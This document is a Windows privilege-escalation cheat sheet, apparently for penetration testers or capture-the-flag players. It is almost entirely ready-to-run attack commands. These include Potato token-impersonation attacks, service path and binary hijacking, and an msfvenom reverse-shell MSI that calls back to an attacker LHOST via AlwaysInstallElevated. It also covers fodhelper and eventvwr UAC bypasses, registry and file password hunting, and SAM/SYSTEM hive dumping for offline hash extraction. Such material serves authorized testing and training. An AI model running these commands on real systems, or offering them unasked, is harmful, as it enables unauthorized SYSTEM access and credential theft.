Windows PrivEsc Checklist

From user to SYSTEM — systematic privilege escalation on Windows.

⚡ Quick Wins

Token Privileges

# Check current privileges
whoami /priv

# KEY PRIVILEGES:
# SeImpersonatePrivilege  → Potato attacks (JuicyPotato, PrintSpoofer, GodPotato)
# SeAssignPrimaryToken    → Potato attacks
# SeBackupPrivilege       → Read any file (SAM/SYSTEM dumps)
# SeRestorePrivilege      → Write any file
# SeTakeOwnershipPrivilege → Take ownership of any object
# SeLoadDriverPrivilege   → Load malicious kernel driver
# SeDebugPrivilege        → Debug any process (dump LSASS)

Stored Credentials

# Check for stored credentials
cmdkey /list

# Use stored creds
runas /savecred /user:administrator cmd.exe
runas /savecred /user:administrator "\\LHOST\share\shell.exe"

# Autologon credentials in registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr "DefaultUserName DefaultPassword"

# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear

# SAM/SYSTEM backup files
dir C:\Windows\Repair\SAM 2>nul
dir C:\Windows\System32\config\RegBack\SAM 2>nul
dir %WINDIR%\repair\sam 2>nul
dir %WINDIR%\repair\system 2>nul

System Information

# Full system info
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# Hostname and domain
hostname
echo %USERDOMAIN%

# Architecture
wmic os get osarchitecture

# Patches / hotfixes (for kernel exploits)
wmic qfe list
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Drives
wmic logicaldisk get caption,description,providername
fsutil fsinfo drives

# Environment variables
set
echo %PATH%

User Enumeration

# Current user
whoami
whoami /all
whoami /priv
whoami /groups

# All local users
net user
net user administrator

# Local groups
net localgroup
net localgroup administrators

# Domain users (if domain-joined)
net user /domain
net group "Domain Admins" /domain

# Logged in users
query user
qwinsta

Services

Unquoted Service Paths

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | Select Name,PathName

# If path is: C:\Program Files\My App\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\My.exe, etc.
# Drop malicious exe at writable path point

Weak Service Permissions

# Check service permissions with accesschk (Sysinternals)
accesschk.exe /accepteula -uwcqv "Authenticated Users" * /c
accesschk.exe /accepteula -uwcqv "Everyone" * /c
accesschk.exe /accepteula -uwcqv "Users" * /c

# Check specific service
sc qc <servicename>
accesschk.exe /accepteula -ucqv <servicename>

# If SERVICE_CHANGE_CONFIG permission:
sc config <servicename> binpath= "C:\temp\shell.exe"
sc stop <servicename>
sc start <servicename>

# If writable service binary path:
# Replace the binary with your payload
move C:\path\to\service.exe C:\path\to\service.exe.bak
copy C:\temp\shell.exe C:\path\to\service.exe
sc stop <servicename> & sc start <servicename>

Service Binary Permissions

# Check if service binary is writable
icacls "C:\path\to\service.exe"

# Look for: (F) Full, (M) Modify, (W) Write
# For Authenticated Users, Everyone, BUILTIN\Users, etc.

Registry

# AlwaysInstallElevated (install MSI as SYSTEM)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

# AutoRun programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check if AutoRun binary is writable
icacls "C:\path\to\autorun.exe"

# Saved credentials in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password

# Putty saved sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

Scheduled Tasks

# List all scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo TABLE

# Look for tasks running as SYSTEM with writable scripts
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user\|next run"

# PowerShell
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select TaskName,TaskPath

# If the task runs a script you can write to:
echo C:\temp\shell.exe > C:\path\to\scheduled_script.bat

Installed Software

# List installed software
wmic product get name,version
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# PowerShell
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select DisplayName,DisplayVersion

# Check for vulnerable versions
# Search: exploit-db.com, searchsploit

# Common targets:
# FileZilla → stored credentials in XML
# WinSCP → stored credentials
# PuTTY → saved sessions with credentials
# Firefox/Chrome → saved passwords

Network

# Network interfaces
ipconfig /all

# Routes
route print

# ARP cache
arp -a

# Open ports / connections
netstat -ano
netstat -ano | findstr LISTENING
netstat -ano | findstr ESTABLISHED

# Firewall
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
netsh firewall show state

# Network shares
net share
net view \\127.0.0.1

# Connected drives
net use

# Hosts file
type C:\Windows\System32\drivers\etc\hosts

Potato Attacks

Abuse SeImpersonatePrivilege to escalate from service accounts to SYSTEM.

# Check for SeImpersonatePrivilege
whoami /priv | findstr "SeImpersonate\|SeAssignPrimaryToken"

# GodPotato (works on modern Windows)
GodPotato.exe -cmd "C:\temp\shell.exe"
GodPotato.exe -cmd "cmd /c whoami"

# PrintSpoofer (Windows 10 / Server 2016-2019)
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "C:\temp\shell.exe"

# JuicyPotato (Windows 7-10, Server 2008-2016)
JuicyPotato.exe -l 1337 -p C:\temp\shell.exe -t *
# May need CLSID: https://ohpe.it/juicy-potato/CLSID/

# RoguePotato (Windows 10 1809+)
RoguePotato.exe -r LHOST -l 9999 -e "C:\temp\shell.exe"

# SweetPotato
SweetPotato.exe -p C:\temp\shell.exe

UAC Bypass

# Check UAC level
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

# fodhelper.exe bypass (Windows 10)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\temp\shell.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
# Cleanup:
reg delete HKCU\Software\Classes\ms-settings /f

# eventvwr.exe bypass
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\temp\shell.exe" /f
eventvwr.exe

# UACME — comprehensive UAC bypass tool
# https://github.com/hfiref0x/UACME

Password Hunting

# Search for files with passwords
findstr /si "password" *.txt *.xml *.ini *.config *.cfg
findstr /spin "password" *.*
dir /s *pass* == *cred* == *vnc* == *.config 2>nul

# Unattend files (deployment passwords)
type C:\unattend.xml 2>nul
type C:\Windows\Panther\unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type C:\Windows\system32\sysprep\unattend.xml 2>nul
type C:\Windows\system32\sysprep\Panther\unattend.xml 2>nul

# IIS config
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul

# PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# DPAPI credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\ 2>nul
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\ 2>nul

# SAM + SYSTEM dump (if admin)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Transfer and extract: impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Automated Tools

# WinPEAS (best all-in-one)
winpeas.exe
winpeas.bat
# https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS

# PowerUp (PowerShell)
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
# https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

# Seatbelt (C# enumeration)
Seatbelt.exe -group=all
# https://github.com/GhostPack/Seatbelt

# SharpUp (C# PowerUp port)
SharpUp.exe audit
# https://github.com/GhostPack/SharpUp

# Windows Exploit Suggester (from systeminfo output)
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo sysinfo.txt
# https://github.com/AonCyberLabs/Windows-Exploit-Suggester

# PrivescCheck (PowerShell)
powershell -ep bypass -c "Import-Module .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
# https://github.com/itm4n/PrivescCheck

# Sherlock (PowerShell kernel exploit finder)
powershell -ep bypass -c "Import-Module .\Sherlock.ps1; Find-AllVulns"